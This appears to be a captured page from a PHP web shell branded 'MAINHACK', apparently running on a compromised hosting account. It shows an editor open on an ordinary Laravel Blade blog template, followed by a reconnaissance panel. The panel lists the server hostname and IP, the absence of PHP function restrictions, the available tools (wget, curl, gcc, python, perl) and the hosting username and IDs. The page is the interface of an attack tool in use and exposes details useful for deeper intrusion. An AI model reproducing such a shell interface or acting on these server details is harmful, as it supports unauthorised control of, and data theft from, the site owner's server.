[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.blade.php
@extends(getTemplate().'.layouts.app') @section('content') <section class="site-top-banner search-top-banner opacity-04 position-relative"> <img src="{{ getPageBackgroundSettings('blog') }}" class="img-cover" alt=""/> <div class="container h-100"> <div class="row h-100 align-items-center justify-content-center text-center"> <div class="col-12 col-md-9 col-lg-7"> <div class="top-search-categories-form"> <h1 class="text-white font-30 mb-15">{{ $pageTitle }}</h1> <span class="course-count-badge py-5 px-10 text-white rounded">{{ $blogCount }} {{ trans('site.posts') }}</span> <div class="search-input bg-white p-10 flex-grow-1"> <form action="/blog" method="get"> <div class="form-group d-flex align-items-center m-0"> <input type="text" name="search" class="form-control border-0" value="{{ request()->get('search') }}" placeholder="{{ trans('home.blog_search_placeholder') }}"/> <button type="submit" class="btn btn-primary rounded-pill">{{ trans('home.find') }}</button> </div> </form> </div> </div> </div> </div> </div> </section> <section class="container mt-10 mt-md-40"> <div class="row"> <div class="col-12 col-lg-8"> <div class="row"> @foreach($blog as $post) <div class="col-12 col-md-4 col-lg-6"> <div class="mt-30"> @include('web.default.blog.grid-list',['post' => $post]) </div> </div> @endforeach </div> </div> <div class="col-12 col-lg-4"> <div class="p-20 mt-30 rounded-sm shadow-lg border border-gray300"> <h3 class="category-filter-title font-20 font-weight-bold text-dark-blue">{{ trans('categories.categories') }}</h3> <div class="pt-15"> @foreach($blogCategories as $blogCategory) <a href="{{ $blogCategory->getUrl() }}" class="font-14 text-dark-blue d-block mt-15">{{ $blogCategory->title }}</a> @endforeach </div> </div> <div class="p-20 mt-30 rounded-sm shadow-lg border border-gray300"> <h3 class="category-filter-title font-20 font-weight-bold text-dark-blue">{{ trans('site.popular_posts') }}</h3> <div class="pt-15"> @foreach($popularPosts as $popularPost) <div class="popular-post d-flex align-items-start mt-20"> <div class="popular-post-image rounded"> <img src="{{ $popularPost->image }}" class="img-cover rounded" alt="{{ $popularPost->title }}"> </div> <div class="popular-post-content d-flex flex-column ml-10"> <a href="{{ $popularPost->getUrl() }}"> <h3 class="text-dark-blue font-14">{{ truncate($popularPost->title,50) }}</h3> </a> <span class="mt-auto font-12 text-gray">{{ dateTimeFormat($popularPost->created_at, 'j M Y') }}</span> </div> </div> @endforeach <a href="/blog" class="btn btn-sm btn-primary btn-block mt-30">{{ trans('home.view_all') }} {{ trans('site.posts') }}</a> </div> </div> </div> </div> <div class="mt-20 mt-md-50 pt-30"> {{ $blog->appends(request()->input())->links('vendor.pagination.panel') }} </div> </section> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285